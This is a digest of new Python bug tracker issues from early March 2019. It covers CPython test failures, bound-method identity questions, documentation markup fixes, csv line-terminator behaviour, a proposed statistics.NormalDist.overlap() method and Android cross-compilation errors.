From report at bugs.python.org  Fri Mar  1 02:29:13 2019
From: report at bugs.python.org (Karthikeyan Singaravelan)
Date: Fri, 01 Mar 2019 07:29:13 +0000
Subject: [New-bugs-announce] [issue36155] ./python -m test -m test_gc fails
Message-ID: <1551425353.98.0.443133131153.issue36155@roundup.psfhosted.org>


New submission from Karthikeyan Singaravelan <tir.karthi at gmail.com>:

I am not sure of the exact cause about this failure but `./python.exe -m test -m test_gc` fails though `./python.exe -m test -v test_gc` passes. This test was recently added with 175421b58cc97a2555e474f479f30a6c5d2250b0 and issue36016.

./python.exe -m test -m test_gc
== CPython 3.8.0a2+ (heads/master:f684d83d86, Mar 1 2019, 10:39:16) [Clang 7.0.2 (clang-700.1.81)]
== macOS-10.10.4-x86_64-i386-64bit little-endian
== cwd: /Users/karthikeyansingaravelan/stuff/python/cpython/build/test_python_21045
== CPU count: 4
== encodings: locale=UTF-8, FS=utf-8
Run tests sequentially
0:00:00 load avg: 1.85 [  1/420] test_grammar
[snip]
0:00:36 load avg: 2.17 [156/420] test_gc -- test_future5 run no tests
test test_gc failed -- Traceback (most recent call last):
  File "/Users/karthikeyansingaravelan/stuff/python/cpython/Lib/test/test_gc.py", line 775, in test_get_objects
    self.assertNotIn(l, gc.get_objects(generation=2))
AssertionError: [[...]] unexpectedly found in <list object at 0x112b5d668>
0:00:48 load avg: 2.14 [157/420/1] test_gdb -- test_gc failed

----------
components: Tests
messages: 336898
nosy: inada.naoki, pablogsal, xtreak
priority: normal
severity: normal
status: open
title: ./python -m test -m test_gc fails
type: behavior
versions: Python 3.8

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36155>
_______________________________________

From report at bugs.python.org  Fri Mar  1 05:01:47 2019
From: report at bugs.python.org (lgj)
Date: Fri, 01 Mar 2019 10:01:47 +0000
Subject: [New-bugs-announce] [issue36156] different method,
 but id function return same value.
Message-ID: <1551434507.65.0.524954785734.issue36156@roundup.psfhosted.org>


New submission from lgj <929102624 at qq.com>:

>>> class A:
...     def a(self):
...         return 0
...     def a1(self):
...         return 1
...
>>> a =A()
>>> id(a.a)
4316559496
>>> id(a.a1)
4316559496
>>> id(a)
4318155272
It' seems oops , according to the id function source code.
here is the description of builtin_id function in Python/bltinmodule.c
/* 
Return the identity of an object.

This is guaranteed to be unique among simultaneously existing objects.
(CPython uses the object's memory address.)
[clinic start generated code]*
/
It seems should return different value, but id(a.a) as same as 
id(a.a1), Is it a bug?

----------
components: Library (Lib)
messages: 336912
nosy: lgj1993
priority: normal
severity: normal
status: open
title: different method, but id function return same value.
type: behavior
versions: Python 3.6

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36156>
_______________________________________

From report at bugs.python.org  Fri Mar  1 11:36:40 2019
From: report at bugs.python.org (Eric Snow)
Date: Fri, 01 Mar 2019 16:36:40 +0000
Subject: [New-bugs-announce] [issue36157] Document PyInterpreterState_Main().
Message-ID: <1551458200.72.0.727788487318.issue36157@roundup.psfhosted.org>


New submission from Eric Snow <ericsnowcurrently at gmail.com>:

PyInterpreterState_Main() is a function in the public C-API that returns a pointer to the main interpreter's state.  The main interpreter is the first one created by the CPython runtime during startup (e.g. when the "python" command is run).

Documentation for PyInterpreterState_Main() should be on the "Initialization, Finalization, and Threads" page of the C-API docs, probably in the "Sub-interpreter support" section. [1]  It could also possibly go in the "Advanced Debugger Support" section. [2]

FYI, I added PyInterpreterState_Main() at PyCon US 2017 (commit f5df46d701d29baf738365da6fcf1b8a3ceabb71) when I merged Nick Coghlan's internal implementation of PEP 432.  So it has been available since 3.7.


[1] https://docs.python.org/3/c-api/init.html#sub-interpreter-support
[2] https://docs.python.org/3/c-api/init.html#advanced-debugger-support

----------
assignee: docs at python
components: Documentation
keywords: easy
messages: 336929
nosy: docs at python, eric.snow
priority: normal
severity: normal
stage: needs patch
status: open
title: Document PyInterpreterState_Main().
versions: Python 3.7, Python 3.8

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36157>
_______________________________________

From report at bugs.python.org  Fri Mar  1 12:21:57 2019
From: report at bugs.python.org (Matthew Drago)
Date: Fri, 01 Mar 2019 17:21:57 +0000
Subject: [New-bugs-announce] [issue36158] Regex search behaves differently
 in list comprehension
Message-ID: <1551460917.2.0.142475833674.issue36158@roundup.psfhosted.org>


New submission from Matthew Drago <mattdrago9 at gmail.com>:

Say for example i want to apply a regex on a list of strings. 

Using list comprehension as such results in the group method not being found.
```
name_regex = compile(r'\[\"([a-zA-Z\s]*)\"{1}')

named_entities = [name_regex.match(entity.trigger).group(1) for entity in entities[0]]
```
This unexpected behavior can also be observed when implementing this using a map.

```
list(map(lambda x: name_regex.search(x.trigger).group(), entities[0])) 
```

However using the traditional for loop implementation the group method is resolved.
```
named_entities = []
for entity in entities[0]:
   named_entities.append(name_regex.match(entity.trigger).group(1))
```

----------
components: Regular Expressions
messages: 336936
nosy: Matthew Drago, ezio.melotti, mrabarnett
priority: normal
severity: normal
status: open
title: Regex search behaves differently in list comprehension
type: behavior
versions: Python 3.7

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36158>
_______________________________________

From report at bugs.python.org  Fri Mar  1 13:00:37 2019
From: report at bugs.python.org (Ross Biro)
Date: Fri, 01 Mar 2019 18:00:37 +0000
Subject: [New-bugs-announce] [issue36159] Modify Formatter Class to handle
 arbitrary objects
Message-ID: <1551463237.42.0.662245603884.issue36159@roundup.psfhosted.org>


New submission from Ross Biro <rbiro at interfacefinancial.com>:

The only point in the string.Formatter class that really depends on string output is line 245: return ''.join(result), auto_arg_index.  

I'm currently working on a problem that would be much easier if I could get access to the result list instead of having that join called.

I propose creating another overridable method in string.Formatter, say oformat that calls _vformat and is called by vformat. oformat would have the guts of vformat and just return the result list.  vformat would then consist of the call ot oformat and the join.  See Below.  The recursive call to _vformat would also need some slight modification.

The work would not be difficult and I'm willing to do it, provided there is sufficient interest.

def vformat(self, format_string, args, kwargs):
        result = self.oformat(format_string, args, kwargs)
	return ''.join(result)

def oformat(self, format_string, args, kwargs):
        used_args = set()
        result, _ = self._vformat(format_string, args, kwargs, used_args, 2)
        self.check_unused_args(used_args, args, kwargs)
        return result

----------
components: Library (Lib)
messages: 336945
nosy: Ross Biro
priority: normal
severity: normal
status: open
title: Modify Formatter Class to handle arbitrary objects
type: enhancement
versions: Python 2.7, Python 3.8

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36159>
_______________________________________

From report at bugs.python.org  Fri Mar  1 13:39:20 2019
From: report at bugs.python.org (Ivan Pozdeev)
Date: Fri, 01 Mar 2019 18:39:20 +0000
Subject: [New-bugs-announce] [issue36160] Multiple errors in test_site.py on
 sysconfig._CONFIG_VARS.clear() if run on its own
Message-ID: <1551465560.76.0.129130673812.issue36160@roundup.psfhosted.org>


New submission from Ivan Pozdeev <ivan_pozdeev at mail.ru>:

Sample failure:

> cpython\branches\3.7>python.bat -m test.test_site

Running Debug|x64 interpreter...
EEEEEEEEEEEEE.s.............
======================================================================
ERROR: test_addpackage (__main__.HelperFunctionsTests)
----------------------------------------------------------------------
Traceback (most recent call last):
  File "C:\Users\Sasha\Documents\cpython\branches\3.7\lib\test\test_site.py", li
ne 77, in tearDown
    sysconfig._CONFIG_VARS.clear()
AttributeError: 'NoneType' object has no attribute 'clear'

======================================================================
ERROR: test_addpackage_import_bad_exec (__main__.HelperFunctionsTests)
----------------------------------------------------------------------
Traceback (most recent call last):
  File "C:\Users\Sasha\Documents\cpython\branches\3.7\lib\test\test_site.py", li
ne 77, in tearDown
    sysconfig._CONFIG_VARS.clear()
AttributeError: 'NoneType' object has no attribute 'clear'

<etc>

The reason is that `sysconfig._CONFIG_VARS' is None until the first call to `sysconfig.get_config_vars()'. When the suite is used in conjunction with the others, other tests have already called it by the time test_site.py gets control.

----------
components: Tests
messages: 336947
nosy: Ivan.Pozdeev
priority: normal
severity: normal
status: open
title: Multiple errors in test_site.py on sysconfig._CONFIG_VARS.clear() if run on its own
type: behavior
versions: Python 3.7, Python 3.8

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36160>
_______________________________________

From report at bugs.python.org  Fri Mar  1 16:30:26 2019
From: report at bugs.python.org (Thomas Wouters)
Date: Fri, 01 Mar 2019 21:30:26 +0000
Subject: [New-bugs-announce] [issue36161] Use thread-safe functions instead
 of unsafe ones (crypt, ttyname)
Message-ID: <1551475826.18.0.295115684796.issue36161@roundup.psfhosted.org>


New submission from Thomas Wouters <thomas at python.org>:

(good first issue, I think.)

CPython currently uses a few functions that are thread-unsafe where thread-safe version exist, at least in glibc (crypt() and ttyname(), at least). This isn't an issue when looking at CPython in isolation because these calls are guarded by the GIL, but it can be a problem if the C functions are called from other code (in an extension module, or from an application embedding CPython).

I expect it to be uncommon to be the case with crypt() and ttyname(), so it's probably not important to fix, but I do think these would make good first issues. crypt(), in particular, is called from a very self-contained (and otherwise) module, and could do with some other enhancements (proper error handling, properly #including crypt.h).

I suggest a new contributor (or someone new to C) take this on and do something like the following, using crypt as an example:
 - Add configure.ac checks for crypt.h and crypt_r()
 - In Modules/_cryptmodule.c, if present, import crypt.h and use crypt_r.
 - Check for a NULL return and raise OSerror, but possibly only when using crypt_r() (for compatibility with systems where crypt() doesn't do the right thing on error, perhaps).
 - Add tests for the new error handling (crypt() on glibc will return an error on invalid salts).

For ttyname() (called from Modules/posixmodule.c), the change would be simpler (it already handles errors), but a choice will have to be made about the size of the buffer to use, and whether to use a static buffer (which would be protected by the GIL).

There may be other functions being used in posixmodule or other modules that could conflict with non-CPython uses of the thread-unsafe functions that we could switch to thread-safe versions, but other than manually looking I'm not sure yet how to find them.

----------
components: Interpreter Core
keywords: easy (C)
messages: 336957
nosy: Mariatta, cheryl.sabella, twouters
priority: normal
severity: normal
stage: needs patch
status: open
title: Use thread-safe functions instead of unsafe ones (crypt, ttyname)

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36161>
_______________________________________

From report at bugs.python.org  Fri Mar  1 17:00:18 2019
From: report at bugs.python.org (muhzi)
Date: Fri, 01 Mar 2019 22:00:18 +0000
Subject: [New-bugs-announce] [issue36162] error: implicit declaration of
 function 'sendfile' is invalid in C99
Message-ID: <1551477618.88.0.818331245279.issue36162@roundup.psfhosted.org>


New submission from muhzi <air.oamyst517 at yahoo.com>:

I encountered yet another issue with cross compilation on android, it so happens that these errors occur only when I cross compile for non 64-bit archs. i.e. I could cross compile just fine for arm64 & x86_64 but the 32-bit version of these archs produces the following error during compilation:

./Modules/posixmodule.c:8457:19: error: implicit declaration of function 'sendfile' is invalid in C99 [-Werror,-Wimplicit-function-declaration]
            ret = sendfile(out, in, NULL, count);
                  ^
./Modules/posixmodule.c:8457:19: warning: this function declaration is not a prototype [-Wstrict-prototypes]
./Modules/posixmodule.c:8470:15: error: implicit declaration of function 'sendfile' is invalid in C99 [-Werror,-Wimplicit-function-declaration]
        ret = sendfile(out, in, &offset, count);
              ^
./Modules/posixmodule.c:9057:14: error: implicit declaration of function 'truncate' is invalid in C99 [-Werror,-Wimplicit-function-declaration]
    result = truncate(path->narrow, length);
             ^
./Modules/posixmodule.c:9057:14: note: did you mean 'ftruncate'?
/home/muhzi/Android/Sdk/ndk-bundle/toolchains/llvm/prebuilt/linux-x86_64/bin/../sysroot/usr/include/unistd.h:220:5: note: 'ftruncate' declared here
int ftruncate(int __fd, off_t __length) __RENAME(ftruncate64) __INTRODUCED_IN(12);
    ^
./Modules/posixmodule.c:9057:14: warning: this function declaration is not a prototype [-Wstrict-prototypes]
    result = truncate(path->narrow, length);


I attached pyconfig.h for reference, it seems that the configuration step went fine. I checked that these missing functions are able to have their corresponding headers included. Also figured after misplacing some include lines in posixmodule.c that when the preprocessor includes Python.h it fails to include definitions from successively included headers.

----------
components: Cross-Build
files: pyconfig.h
messages: 336958
nosy: Alex.Willmer, muhzi, xdegaye
priority: normal
severity: normal
status: open
title: error: implicit declaration of function 'sendfile' is invalid in C99
versions: Python 3.7
Added file: https://bugs.python.org/file48183/pyconfig.h

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36162>
_______________________________________

From report at bugs.python.org  Fri Mar  1 21:16:43 2019
From: report at bugs.python.org (lgj)
Date: Sat, 02 Mar 2019 02:16:43 +0000
Subject: [New-bugs-announce] [issue36163] same object, same method,
 but the is keyword return false.
Message-ID: <1551493003.4.0.454203101795.issue36163@roundup.psfhosted.org>


New submission from lgj <929102624 at qq.com>:

>>> class A():
...   def a(self):
...       pass
...
>>> a = A()
>>> a is a
True
>>> a.a is a.a
False
>>> id(a.a)
4532803784
>>> id(a.a)
4532803784
It's seems quite oops.

----------
messages: 336979
nosy: lgj1993
priority: normal
severity: normal
status: open
title: same object, same method, but the is keyword return false.
type: behavior
versions: Python 3.6

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36163>
_______________________________________

From report at bugs.python.org  Sat Mar  2 01:10:24 2019
From: report at bugs.python.org (Atsuo Ishimoto)
Date: Sat, 02 Mar 2019 06:10:24 +0000
Subject: [New-bugs-announce] [issue36164] Updating Py_InspectFlag
 programmatically
Message-ID: <1551507024.01.0.06569662724.issue36164@roundup.psfhosted.org>


New submission from Atsuo Ishimoto <ishimoto at python.jp>:

I sometime use a hack to start interactive console after running script.

.. code-block:: python

   import os

   os.environ['PYTHONINSPECT'] = 'x'
   print("Hello")

This hack works because ``PYTHONINSPECT`` is checked `here <https://github.com/python/cpython/blob/master/Modules/main.c#L738>`__ when exiting Python.

However, if the script uses ``sys.exit()`` to exit from Python, interactive console doen't apper because unhandled ``SystemExit`` exception leads ``exit()`` call to kill process, without checking ``PYTHONINSPECT``.

.. code-block:: python

   import os, sys

   os.environ['PYTHONINSPECT'] = 'x'
   print("Hello")

   sys.exit(1)  # Interactive console will not start


I think feature to allow updating ``Py_InspectFlag`` is useful, and this is a bugs to be fixed. However, setting environment variable to start console is not intuituve.

So instead of fixing bug, I would like to propose a small function to set ``Py_InspectFlag`` to start interactive console after running script.

.. code-block:: python

    sys.setinteractiveflag(bool)

Thoughts?

----------
components: Interpreter Core
messages: 336993
nosy: ishimoto
priority: normal
severity: normal
status: open
title: Updating Py_InspectFlag programmatically
type: behavior

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36164>
_______________________________________

From report at bugs.python.org  Sat Mar  2 06:10:27 2019
From: report at bugs.python.org (Cheryl Sabella)
Date: Sat, 02 Mar 2019 11:10:27 +0000
Subject: [New-bugs-announce] [issue36165] DOC: ssl.rst is missing formatting
 on two links
Message-ID: <1551525027.87.0.0940888364493.issue36165@roundup.psfhosted.org>


New submission from Cheryl Sabella <cheryl.sabella at gmail.com>:

In `ssl.rst`, formatting for two data links is missing the leading `:`

1.   ssl.PROTOCOL_SSLv23?

    Alias for  ---> data:PROTOCOL_TLS.   <---

2.   Wrap the BIO objects incoming and outgoing and return an instance of ---> attr:SSLContext.sslobject_class <--- (default SSLObject). The SSL routines will read input data from the incoming BIO and write data to the outgoing BIO.


This would be good for a first time contributor, so I'm assigning to @Mariatta for the sprints.

----------
assignee: Mariatta
components: Documentation
messages: 337000
nosy: Mariatta, cheryl.sabella
priority: normal
severity: normal
stage: needs patch
status: open
title: DOC: ssl.rst is missing formatting on two links
versions: Python 3.7, Python 3.8

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36165>
_______________________________________

From report at bugs.python.org  Sat Mar  2 07:13:55 2019
From: report at bugs.python.org (Cheryl Sabella)
Date: Sat, 02 Mar 2019 12:13:55 +0000
Subject: [New-bugs-announce] [issue36166] DOC: Fix markup on function
 parameter on datamodel.rst
Message-ID: <1551528835.64.0.987531721426.issue36166@roundup.psfhosted.org>


New submission from Cheryl Sabella <cheryl.sabella at gmail.com>:

In `datamodel.rst`, fix formatting on the format_spec argument in the text paragraph of object.__format__() to be italicized instead of marked as a code sample.
 

object.__format__(self, format_spec)

The ---> ``format_spec`` <--- argument is a string that contains a description of the formatting options desired.


Assigning to @Mariatta for the sprints.

----------
assignee: Mariatta
components: Documentation
messages: 337005
nosy: Mariatta, cheryl.sabella
priority: normal
severity: normal
stage: needs patch
status: open
title: DOC: Fix markup on function parameter on datamodel.rst
versions: Python 3.7, Python 3.8

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36166>
_______________________________________

From report at bugs.python.org  Sat Mar  2 07:18:19 2019
From: report at bugs.python.org (Cheryl Sabella)
Date: Sat, 02 Mar 2019 12:18:19 +0000
Subject: [New-bugs-announce] [issue36167] DOC: Incorrect capitalization in
 Programming FAQ
Message-ID: <1551529099.5.0.835675772758.issue36167@roundup.psfhosted.org>


New submission from Cheryl Sabella <cheryl.sabella at gmail.com>:

In Programming FAQ under question "How can my code discover the name of an object?", in the second sentence, the word 'The' shouldn't be capitalized after the semi-colon.

Essentially, assignment always binds a name to a value; ---> The <--- same is true of def and class statements, but in that case the value is a callable. 

Assigning to @Mariatta for the sprints.

----------
assignee: Mariatta
components: Documentation
messages: 337007
nosy: Mariatta, cheryl.sabella
priority: normal
severity: normal
stage: needs patch
status: open
title: DOC: Incorrect capitalization in Programming FAQ
versions: Python 3.7, Python 3.8

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36167>
_______________________________________

From report at bugs.python.org  Sat Mar  2 07:21:02 2019
From: report at bugs.python.org (Cheryl Sabella)
Date: Sat, 02 Mar 2019 12:21:02 +0000
Subject: [New-bugs-announce] [issue36168] DOC: Fix capitalization in
 string.rst
Message-ID: <1551529262.87.0.31703753151.issue36168@roundup.psfhosted.org>


New submission from Cheryl Sabella <cheryl.sabella at gmail.com>:

In `string.rst`, under get_value(), `Subsequent` shouldn't be capitalized after the semi-colon.

For compound field names, these functions are only called for the first component of the field name; ---> Subsequent <--- components are handled through normal attribute and indexing operations.

Assigning to @Mariatta for the sprints.

----------
assignee: Mariatta
components: Documentation
messages: 337008
nosy: Mariatta, cheryl.sabella
priority: normal
severity: normal
stage: needs patch
status: open
title: DOC: Fix capitalization in string.rst
versions: Python 3.7, Python 3.8

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36168>
_______________________________________

From report at bugs.python.org  Sat Mar  2 18:04:32 2019
From: report at bugs.python.org (Raymond Hettinger)
Date: Sat, 02 Mar 2019 23:04:32 +0000
Subject: [New-bugs-announce] [issue36169] Add overlap() method to
 statistics.NormalDist()
Message-ID: <1551567872.57.0.0650714757552.issue36169@roundup.psfhosted.org>


New submission from Raymond Hettinger <raymond.hettinger at gmail.com>:

------ How to use it ------

What percentage of men and women will have the same height in two normally distributed populations with known means and standard deviations?

    # http://www.usablestats.com/lessons/normal
    >>> men = NormalDist(70, 4)
    >>> women = NormalDist(65, 3.5)
    >>> men.overlap(women)
    0.5028719270195425

The result can be confirmed empirically with a Monte Carlo simulation:

    >>> from collections import Counter
    >>> n = 100_000
    >>> overlap = Counter(map(round, men.samples(n))) & Counter(map(round, women.samples(n)))
    >>> sum(overlap.values()) / n
    0.50349

The result can also be confirmed by numeric integration of the probability density function:

    >>> dx = 0.10
    >>> heights = [h * dx for h in range(500, 860)]
    >>> sum(min(men.pdf(h), women.pdf(h)) for h in heights) * dx
    0.5028920586287203

------ Code ------

    def overlap(self, other):
        '''Compute the overlap coefficient (OVL) between two normal distributions.

        Measures the agreement between two normal probability distributions.
        Returns a value between 0.0 and 1.0 giving the overlapping area in
        the two underlying probability density functions.

        '''

        # See: "The overlapping coefficient as a measure of agreement between
        # probability distributions and point estimation of the overlap of two
        # normal densities" -- Henry F. Inman and Edwin L. Bradley Jr
        # http://dx.doi.org/10.1080/03610928908830127

        # Also see:
        # http://www.iceaaonline.com/ready/wp-content/uploads/2014/06/MM-9-Presentation-Meet-the-Overlapping-Coefficient-A-Measure-for-Elevator-Speeches.pdf

        if not isinstance(other, NormalDist):
            return NotImplemented
        X, Y = self, other
        X_var, Y_var = X.variance, Y.variance
        if not X_var or not Y_var:
            raise StatisticsError('overlap() not defined when sigma is zero')
        dv = Y_var - X_var
        if not dv:
            return 2.0 * NormalDist(fabs(Y.mu - X.mu), 2.0 * X.sigma).cdf(0)
        a = X.mu * Y_var - Y.mu * X_var
        b = X.sigma * Y.sigma * sqrt((X.mu - Y.mu)**2 + dv * log(Y_var / X_var))
        x1 = (a + b) / dv
        x2 = (a - b) / dv
        return 1.0 - (fabs(Y.cdf(x1) - X.cdf(x1)) + fabs(Y.cdf(x2) - X.cdf(x2)))

---- Future ----

The concept of an overlap coefficient (OVL) is not specific to normal distributions, so it is possible to extend this idea to work with other distributions if needed.

----------
components: Library (Lib)
messages: 337020
nosy: davin, mark.dickinson, rhettinger, steven.daprano, tim.peters
priority: normal
severity: normal
status: open
title: Add overlap() method to statistics.NormalDist()
versions: Python 3.8

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36169>
_______________________________________

From report at bugs.python.org  Sun Mar  3 02:55:40 2019
From: report at bugs.python.org (Mark Williams)
Date: Sun, 03 Mar 2019 07:55:40 +0000
Subject: [New-bugs-announce] [issue36170] posix_spawn doesn't exist in 3.7
Message-ID: <1551599740.43.0.520469271456.issue36170@roundup.psfhosted.org>


New submission from Mark Williams <mrw at enotuniq.org>:

The 3.8 docs claim that os.posix_spawn was introduced in 3.7, but it wasn't; it will be introduced in 3.8.

https://docs.python.org/3.8/library/os.html#os.posix_spawn

----------
assignee: docs at python
components: Documentation
messages: 337027
nosy: Mark.Williams, docs at python
priority: normal
severity: normal
status: open
title: posix_spawn doesn't exist in 3.7
versions: Python 3.8

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36170>
_______________________________________

From report at bugs.python.org  Sun Mar  3 14:00:40 2019
From: report at bugs.python.org (Anthony Zeeman)
Date: Sun, 03 Mar 2019 19:00:40 +0000
Subject: [New-bugs-announce] [issue36171] tkinter scrollbar missing 'state'
 option
Message-ID: <1551639640.6.0.421469451784.issue36171@roundup.psfhosted.org>


New submission from Anthony Zeeman <ahzeeman at yahoo.ca>:

The scrollbars in both tkinter and Tkinter don't have the 'state' option and cannot be disabled.

----------
components: Tkinter
messages: 337041
nosy: azeeman
priority: normal
severity: normal
status: open
title: tkinter scrollbar missing 'state' option

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36171>
_______________________________________

From report at bugs.python.org  Sun Mar  3 14:37:05 2019
From: report at bugs.python.org (Shane)
Date: Sun, 03 Mar 2019 19:37:05 +0000
Subject: [New-bugs-announce] [issue36172] csv module internal consistency
Message-ID: <1551641825.06.0.900973165633.issue36172@roundup.psfhosted.org>


New submission from Shane <shanesmith4 at gmail.com>:

It occurred to me there is a slight mismatch in the behavioral consistency of the csv module (at least on Windows, Python 3.X).  Specifically, csv.writer() and csv.reader() treat the line terminator slightly differently.  To boil it down to a concise example:

#==================================================
import csv

data = [[1, 2, 3], [4, 5, 6]]

with open('test.csv', 'w') as fout:
    csv.writer(fout).writerows(data)

with open('test.csv', 'r') as fin:
    data2 = list(csv.reader(fin))
    
print(data, data2, sep='\n')

>>> 
[[1, 2, 3], [4, 5, 6]]
[['1', '2', '3'], [], ['4', '5', '6'], []]
#==================================================

So because csv.writer() uses lineterminator = '\r\n', data and data2 have a different structure (data2 has empty rows).  To me this seems undesirable, so I always go out of my way to use lineterminator = '\n'.  

#==================================================
import csv

data = [[1, 2, 3], [4, 5, 6]]

with open('test.csv', 'w') as fout:
    csv.writer(fout, lineterminator='\n').writerows(data)

with open('test.csv', 'r') as fin:
    data2 = list(csv.reader(fin))
    
print(data, data2, sep='\n')

>>>
[[1, 2, 3], [4, 5, 6]]
[['1', '2', '3'], ['4', '5', '6']]
#==================================================


Then the input and output have the same structure.  I assume there was a reason lineterminator = '\r\n' was chosen as default, but for me there is no benefit wrt csv files.  It seems like we would be better off with the more consistent, "reversible" behavior.

Alternatively, the default behavior of csv.reader() could be changed.  But in either case, I feel like their default behaviors should be in alignment.

Thoughts?  Thanks for reading.

----------
messages: 337042
nosy: Shane Smith
priority: normal
severity: normal
status: open
title: csv module internal consistency
type: behavior

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36172>
_______________________________________

From report at bugs.python.org  Sun Mar  3 14:37:22 2019
From: report at bugs.python.org (Dian saputra)
Date: Sun, 03 Mar 2019 19:37:22 +0000
Subject: [New-bugs-announce] [issue36173] BROTHER PRINTER CENTER
Message-ID: <1551641842.88.0.0954854920652.issue36173@roundup.psfhosted.org>


Change by Dian saputra <sdian52 at gmail.com>:


----------
components: Installation
nosy: Dianmatang
priority: normal
severity: normal
status: open
title: BROTHER PRINTER CENTER
type: behavior

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36173>
_______________________________________

From report at bugs.python.org  Sun Mar  3 21:03:43 2019
From: report at bugs.python.org (Steve Dower)
Date: Mon, 04 Mar 2019 02:03:43 +0000
Subject: [New-bugs-announce] [issue36174] Remove licenseUrl field from nuget
 packages
Message-ID: <1551665023.92.0.460080823908.issue36174@roundup.psfhosted.org>


New submission from Steve Dower <steve.dower at python.org>:

The licenseUrl field in the nuget packages has been deprecated. We should link to the license from the description or summary fields.

----------
components: Windows
messages: 337060
nosy: paul.moore, steve.dower, tim.golden, zach.ware
priority: normal
severity: normal
status: open
title: Remove licenseUrl field from nuget packages
versions: Python 2.7, Python 3.7, Python 3.8

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36174>
_______________________________________

From report at bugs.python.org  Sun Mar  3 21:42:19 2019
From: report at bugs.python.org (Abe Leite)
Date: Mon, 04 Mar 2019 02:42:19 +0000
Subject: [New-bugs-announce] [issue36175] Identity of bound methods
Message-ID: <1551667339.54.0.414288552801.issue36175@roundup.psfhosted.org>


New submission from Abe Leite <abrahamjleite at gmail.com>:

The following code produces unexpected behavior in all versions of Python I have tested.

>>> class a:
...     def method(self): pass

>>> inst = a()
>>> inst.method is inst.method
False

It appears that id(inst.method) changes each time inst.method is accessed by normal means.

So the tuple (id(inst.method), id(inst.method)) will have the same item repeated, but the tuple (id(inst.method), inst.method, id(inst.method)) will not.

Note that for unbound methods and other functions, this issue does not occur.

This creates a transparency issue for bound instance methods taking the place of functions.

My apologies if this is a design decision that has already been resolved! It just seemed like a strange behavior to me.

--Abe

----------
components: Interpreter Core
messages: 337063
nosy: Abe Leite
priority: normal
severity: normal
status: open
title: Identity of bound methods
type: behavior
versions: Python 2.7, Python 3.6, Python 3.7, Python 3.8

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36175>
_______________________________________

From report at bugs.python.org  Sun Mar  3 22:17:11 2019
From: report at bugs.python.org (Kristoffer Law)
Date: Mon, 04 Mar 2019 03:17:11 +0000
Subject: [New-bugs-announce] [issue36176] Make IDLE Autocomplete / Calltip
 Window Colors Configurable
Message-ID: <1551669431.81.0.580899841799.issue36176@roundup.psfhosted.org>


New submission from Kristoffer Law <klaw at kslaw.me>:

IDLE utilizes the foreground text color from KDE/Qt (Window Text) for the autocomplete and calltip windows. If a dark theme is selected and the window text changed to white or another bright color, it can be difficult or impossible to see due to lack of contrast. There does not appear to be any way to change these particular windows text or background color settings from IDLE's configuration.

Modifying the variables under line 192 in autocomplete_w.py (bg="white") and line 83 in calltip_w.py (background="#ffffe0") allows these windows to change background colors.

Perhaps add these as settings in IDLE's config? Or force the foreground color to always be black?

Python 3.7.2
GCC 8.2.1

KDE Plasma Version: 5.15.2
KDE Frameworks Version: 5.55.0
Qt Version: 5.12.1

(This is my first bug submission ever, so if I missed something obvious, I apologize in advance)

----------
assignee: terry.reedy
components: IDLE
messages: 337065
nosy: greylaw89, terry.reedy
priority: normal
severity: normal
status: open
title: Make IDLE Autocomplete / Calltip Window Colors Configurable
type: enhancement
versions: Python 3.7

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36176>
_______________________________________

From report at bugs.python.org  Mon Mar  4 03:20:44 2019
From: report at bugs.python.org (STINNER Victor)
Date: Mon, 04 Mar 2019 08:20:44 +0000
Subject: [New-bugs-announce] [issue36177] test_io:
 test_daemon_threads_shutdown_stdout_deadlock() fails on x86 Windows7 3.x
Message-ID: <1551687644.98.0.586597497368.issue36177@roundup.psfhosted.org>


New submission from STINNER Victor <vstinner at redhat.com>:

I don't recall this failure previously, it looks like a regression.

https://buildbot.python.org/all/#/builders/58/builds/2001

======================================================================
FAIL: test_daemon_threads_shutdown_stdout_deadlock (test.test_io.CMiscIOTest)
----------------------------------------------------------------------
Traceback (most recent call last):
  File "D:\cygwin\home\db3l\buildarea\3.x.bolen-windows7\build\lib\test\test_io.py", line 4138, in test_daemon_threads_shutdown_stdout_deadlock
    self.check_daemon_threads_shutdown_deadlock('stdout')
  File "D:\cygwin\home\db3l\buildarea\3.x.bolen-windows7\build\lib\test\test_io.py", line 4129, in check_daemon_threads_shutdown_deadlock
    self.assertIn("Fatal Python error: could not acquire lock "
AssertionError: "Fatal Python error: could not acquire lock for <_io.BufferedWriter name='<stdout>'> at interpreter shutdown, possibly due to daemon threads" not found in ''

--

Copy of David Bolen's (the buildbot worker owner) message on bpo-33608, msg336897:

"""
I suspect changes for this issue may be creating test_io failures on my windows builders, most notably my x86 Windows 7 builder where test_io has been failing both attempts on almost all builds.  It fails with a lock failure during interpreter shutdown, and commit ef4ac967 appears the most plausible commit out of the set introduced at the first failing build on Feb 24.

See https://buildbot.python.org/all/#/builders/58/builds/1977 for the first failure.  test_io has failed both attempts on all but 3 of the subsequent 16 tests of the 3.x branch.

It might be worth noting that this builder is slow, so if there are timeouts involved or a race condition of any sort it might be triggering it more readily than other builders.  I do, however, see the same failures - albeit less frequently and not usually on both tries - on the Win8 and Win10 builders.

